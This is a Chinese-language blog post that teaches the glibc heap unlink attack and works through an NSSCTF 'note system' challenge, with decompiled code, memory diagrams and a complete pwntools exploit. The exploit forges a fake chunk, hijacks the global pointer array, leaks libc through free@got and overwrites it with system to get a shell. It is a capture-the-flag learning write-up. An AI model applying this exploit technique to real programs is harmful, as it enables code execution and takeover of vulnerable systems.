unlink

1. 核心原理:glibc 的堆块管理机制

glibc 中,空闲堆块通过双向链表组织(fdbk 指针)

struct malloc_chunk {
    size_t      prev_size;  // 前一块大小
    size_t      size;       // 当前块大小 + 标志位
    struct malloc_chunk *fd; // 前向指针(指向链表中前一个空闲块)
    struct malloc_chunk *bk; // 后向指针(指向链表中后一个空闲块)
};

当释放堆块时,glibc 会执行 unlink 操作将其从空闲链表移除:

在unlink操作中,我们有两个操作:

1. FD = P->fd   // 即从P的0x10位置读取
2. BK = P->bk   // 即从P的0x18位置读取

然后执行:

FD->bk = BK   // 即把BK的值写入FD地址+0x18的位置

BK->fd = FD   // 即把FD的值写入BK地址+0x10的位置

2. 攻击条件

  • 堆溢出漏洞:可覆盖相邻堆块的头部数据(prev_sizesize
  • 可控内存:能伪造堆块结构(控制 fdbk 指针)
  • 触发 unlink:需通过 free() 或堆合并触发目标堆块的 unlink 操作

3. 攻击步骤图解

步骤 1:伪造堆块结构

假设存在堆块 A(易溢出)和 B(目标),在 A 中伪造一个空闲堆块:

     伪造的堆块 P
         +----------------+ 
A->data: | prev_size      | 
         | size (含 PREV_INUSE=0) | -- 标记前一块为空闲
         | fd = target - 3*sizeof(void*) | 
         | bk = target - 2*sizeof(void*) | 
         +----------------+

步骤 2:修改相邻堆块头

通过堆溢出修改 B 的头部:

B->prev_size = 伪造堆块大小  // 使系统认为 P 是空闲块
B->size &= ~PREV_INUSE    // 清除 PREV_INUSE 标志位

释放堆块 B 时,glibc 会:

  1. 检查 B->prev_inuse=0,认为前一块 P 空闲
  2. 尝试合并 PB,触发 unlink(P)

执行 unlink 操作时:

FD = P->fd = target - 0x18
BK = P->bk = target - 0x10

// 关键写操作:
FD->bk = BK  --> *(target - 0x18 + 0x18) = target - 0x10
               即 *target = target - 0x10

BK->fd = FD  --> *(target - 0x10 + 0x10) = target - 0x18
               即 *target = target - 0x18

最终 *target 被修改为 target - 0x18

4. 现代 glibc 的防护与绕过

防护机制(Safe-Unlinking)

// glibc 2.3.6+ 的检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr ("corrupted double-linked list");

绕过方法

构造满足检查的伪造指针

P->fd = target - 0x18
P->bk = target - 0x10

// 提前在内存中布置:
*(target - 0x18 + 0x18) = P  // 使 FD->bk == P
*(target - 0x10 + 0x10) = P  // 使 BK->fd == P

5. 实战利用场景

场景:修改 GOT 表执行 shellcode

  1. 选择目标:free@got.plt
  2. 构造 target = free@got.plt
  3. 触发 unlink 后:*free@got.plt = free@got.plt - 0x18
  4. 通过堆操作写 free@got.plt 区域:
# 此时 free@got.plt 指向自身 -0x18
write(free@got.plt + 0x18, shellcode_addr)

6.例题

NSS上面的一道题

ida分析一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("welcome to note system");
  while ( 1 )
  {
    menu();
    puts("please chooice :");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        touch();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        take_note();
        break;
      case 5:
        exit_0();
      default:
        puts("no such option");
        break;
    }
  }
}

代码有四个功能,这里注意,在创建堆块的时候是不能写入内容的,要使用take_note功能

简单的笔记管理系统

进入touch看看

unsigned __int64 touch()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 10 && (&buf)[i]; ++i )
  {
    if ( i == 10 )
    {
      puts("the node is full");
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("please input the size : ");
  if ( v1 >= 0 && v1 <= 512 )
  {
    __isoc99_scanf("%d", &v1);
    (&buf)[i] = (char *)malloc(v1);
    if ( (&buf)[i] )
      puts("touch successfully");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里查看buf

.bss:00000000006020C0 buf             dq ?                    ; DATA XREF: touch+25↑r
.bss:00000000006020C0                                         ; touch+A2↑w ...
.bss:00000000006020C8                 db    ? ;
.bss:00000000006020C9                 db    ? ;
.bss:00000000006020CA                 db    ? ;
.bss:00000000006020CB                 db    ? ;
.bss:00000000006020CC                 db    ? ;
.bss:00000000006020CD                 db    ? ;
.bss:00000000006020CE                 db    ? ;
.bss:00000000006020CF                 db    ? ;
.bss:00000000006020D0                 db    ? ;
.bss:00000000006020D1                 db    ? ;
.bss:00000000006020D2                 db    ? ;

可以看到buf被写在了bss段上,它用于储存malloc申请下来的空间地址的指针

再看看take_note

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

首先分配两个0x80大小的堆块(实际chunk大小为0x90),形成以下内存布局:

chunk0: [prev_size | size] + 用户数据
chunk1: [prev_size | size] + 用户数据

构造fake_chunk 即我们上文所说的堆块P

pl = p64(0) + p64(0) + p64(0x6020c0 - 0x18) + p64(0x6020c0 - 0x10)
pl += b'a'*0x60 + p64(0x80) + p64(0x90)
take(0, pl)

内存布局长这样

chunk0: 
  [prev_size | size] 
  [0 | 0]              # 用户数据开始
  [fd = 0x6020a8]      # 指向全局数组-0x18
  [bk = 0x6020b0]      # 指向全局数组-0x10
  [aaa...] (60字节)
chunk1:
  [prev_size = 0x80]   # 被覆盖
  [size = 0x90]        # 清除PREV_INUSE位

detele(1)释放堆块后

系统会检查prev_inuse位,发现前一个chunk(fake chunk)"空闲",于是执行unlink操作:

// unlink宏操作
P->fd->bk = P->bk  // (0x6020a8 + 0x18) = 0x6020b0
P->bk->fd = P->fd  // (0x6020b0 + 0x10) = 0x6020a8

结果:全局数组指针被修改为指向自身-0x18的位置(0x6020a8)

take(0, b'/bin/sh\x00' + p64(0)*2 + p64(free_got) + p64(0x6020a8))

利用被修改的指针写入:

  • b'/bin/sh\x00':在0x6020a8处写入"/bin/sh"字符串
  • p64(0)*2:填充0x6020b0和0x6020b8
  • p64(free_got):将全局数组[0](0x6020c0)改为free@got地址
  • p64(0x6020a8):将全局数组[1](0x6020c8)改为"/bin/sh"地址

此时全局数组变为:

0x6020c0: [free@got]   // 原chunk0指针
0x6020c8: [0x6020a8]   // 原chunk1指针(指向"/bin/sh"

泄露libc基地址

show(0)
free_addr = u64(rc(6).ljust(8, b'\x00'))

show(0)实际读取全局数组[0]指向的内容(free@got),泄露free函数的真实地址

libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']

覆盖free@got

take(0, p64(system))

delete(1)实际调用:

free(全局数组[1]) → free(0x6020a8) → system("/bin/sh")

攻击流程图解

+-----------------+        +-----------------+
|   chunk0        |        |   chunk1        |
| [prev_size|size]|        | [prev_size|size]|
| fake FD/BK ptrs |------->| (PREV_INUSE=0)  |
+-----------------+        +-----------------+
       |                          |
       | unlink操作               | delete(1)
       v                          v
+-----------------+        +-----------------+
| 全局数组被修改   |        | 劫持指针结构     |
| ptr0->free@got  |        | ptr1->/bin/sh   |
+-----------------+        +-----------------+
       |                          |
       | show(0)                  | delete(1)
       v                          v
+-----------------+        +-----------------+
| 泄露free地址    |        | 调用system       |
| 计算system地址  |        | 获得shell        |
+-----------------+        +-----------------+

exp:

from pwn import *
from LibcSearcher import*
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
io = process('./service')
io = remote('node4.anna.nssctf.cn',28838)

s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): io.success(name+"==>"+hex(address))

def debug(): gdb.attach(io)

def touch(size):
    sla(":\n", '1')
    sla(": \n", str(size))

def delete(index):
    sla(":\n", '2')
    sla("delete\n", str(index))

def show(index):
    sla(":\n", '3')
    sla("show\n", str(index))

def take(index, content):
    sla(":\n", '4')
    sla("modify :\n", str(index))
    sa("content\n", content)

elf = ELF('./service')
free_got = elf.got['free']
bss = 0x6020c0
touch(0x80) #0
touch(0x80) #1
pl = p64(0) + p64(0) + p64(0x6020c0 - 0x18) + p64(0x6020c0 - 0x10)#fake_chunk
pl += b'a'*0x60 + p64(0x80) + p64(0x90)
#覆盖chunk1,使得size位是0x90,size表示前一个堆块的大小,后三位标志位表示前一个堆块空闲,0x80是物理相邻的前一个堆块:fake_chunk的大小
#0x6020c0 (全局数组[0]): free@got 地址
take(0, pl)#unlink
delete(1)

take(0, b'/bin/sh\x00' + p64(0)*2 + p64(free_got) + p64(0x6020a8))
#将binsh写入0x6020a8
show(0)
ru(": \n")
free_addr = u64(rc(6).ljust(8, b'\x00'))
slog("free", free_addr)
libc = ELF('../tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
take(0, p64(system))#修改got表
delete(1)#调用system
io.interactive()
低地址                                      高地址
┌───────────────────────┬───────────────────────┐
│      Chunk 0 用户数据   │       全局变量区       │
├───────────┬───────────┼───────────┬───────────┤
│ /bin/sh  │   0x0     │   0x0     │ free_got  │
│ (8字节)   │  (8字节)  │  (8字节)  │  (8字节)  │
└───────────┴───────────┴───────────┴───────────┘
                         │           │
                         ▼           ▼
                    [free@got.plt]  [0x6020a8]
                    存储free函数地址   全局指针

思路总结:

我们构造了一个假堆块,并且使它的fd和bk分别为0x6020a8和0x6020b0

detele(1)由于chunk0内部的fake_chunk和chunk1的 PREV_INUSE标识位是0,所以会有一个类似于抽离出fake_chunk的操作

堆管理器会尝试把这个fake_chunk从空闲列表移除,但它只是个假堆块,没有真实合并内存

这里欺骗堆管理器,让他误以为fake chunk是一个空闲块,然后触发unlink

由于fd/bk指向全局变量,最终效果只是修改了ptr(0)

P:要移除的空闲块(在攻击中是伪造的 fake_chunk)

FD = P->fd:P 在空闲链表中的前一个块

BK = P->bk:P 在空闲链表中的后一个块

操作目标:把 P 从双向链表中移除,让 FD 和 BK 直接相连。

原本应该写入堆的数据(通过 take(0, data) 写入 chunk0 的用户数据区),被利用漏洞改写到伪造的地址 0x6020a8(全局变量附近)

通过 unlink 操作,我们修改了 ptr[0]chunk0 的指针),使其从指向堆变成指向 0x6020a8

之后调用 take(0, data) 时,程序会向 ptr[0](即 0x6020a8)写入数据,而非原来的堆地址。

(1) FD->bk = BK 的计算

FD->bk = *(0x6020a8 + 0x18) = *(0x6020c0)
  • 操作:向地址 0x6020c0 写入 BK 的值(0x6020b0
  • 效果ptr[0] = 0x6020b0(临时修改)

(2) BK->fd = FD 的计算

BK->fd = *(0x6020b0 + 0x10) = *(0x6020c0)
  • 操作:向地址 0x6020c0 写入 FD 的值(0x6020a8

  • 效果ptr[0] = 0x6020a8(最终覆盖)

  • FD = 0x6020a8FD + 0x18 = 0x6020c0ptr[0] 地址)

  • BK = 0x6020b0BK + 0x10 = 0x6020c0(还是 ptr[0] 地址)

posted @ 2025-07-09 15:22  shanlinchuanze  阅读(12)  评论(0)    收藏  举报